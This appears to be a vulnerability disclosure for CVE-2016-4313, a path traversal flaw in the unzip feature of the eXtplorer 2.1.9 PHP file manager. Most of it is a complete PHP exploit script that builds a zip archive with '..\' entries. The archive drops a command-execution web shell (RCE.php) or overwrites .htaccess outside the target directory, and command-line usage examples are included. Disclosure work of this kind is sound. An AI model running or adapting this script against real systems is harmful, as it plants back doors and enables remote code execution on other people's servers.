Vendor:
==============
extplorer.net



Product:
==================
eXtplorer v2.1.9

eXtplorer is a PHP and Javascript-based File Manager, it allows to browse
directories, edit, copy, move, delete,
search, upload and download files, create & extract archives, create new
files and directories, change file
permissions (chmod) and more. It is often used as FTP extension for popular
applications like Joomla.



Vulnerability Type:
======================
Archive Path Traversal



CVE Reference:
==============
CVE-2016-4313



Vulnerability Details:
=====================

eXtplorer unzip/extract feature allows for path traversal as decompressed
files can be placed outside of the intended target directory,
if the archive content contains "../" characters. This can result in files
like ".htaccess" being overwritten or RCE / back door
exploits.


Tested on Windows


Reproduction steps:
==================

1) Generate an archive using below PHP script
2) Upload it to eXtplorer and then extract it
3) Check directory for the default 'RCE.php' file or use CL switch to
overwrite files like .htaccess


Exploit code(s):
===============

Run below PHP script from CL...


[evil-archive.php]

<?php

if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default?
Y/[file]>";exit();}
$zipname=$argv[1];
$exploit_file="RCE.php";
$cmd='<?php exec($_GET["cmd"]); ?>';
if(!empty($argv[2])&&is_numeric($argv[2])){
$depth=$argv[2];
}else{
echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
exit();
}
if(strtolower($argv[3])!="y"){
if(!empty($argv[3])){
$exploit_file=$argv[3];
}
if(!empty($argv[4])){
$cmd=$argv[4];
}else{
echo "Usage: enter a payload for file $exploit_file wrapped in double
quotes";
exit();
}
}
$zip = new ZipArchive();
$res = $zip->open("$zipname.zip", ZipArchive::CREATE);
$zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd);
$zip->close();
echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";
echo "================ by hyp3rlinx ===================";
?>

///////////////////////////////////////////////////////////////////////

[Script examples]

Use default RCE.php by passing "y" flag creating DOOM.zip with path depth
of 2 levels
c:\>php evil-archive.php DOOM 2 Y


Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite
one on the system.
c:\>php evil-archive.php DOOM 4 .htaccess "allow from all"
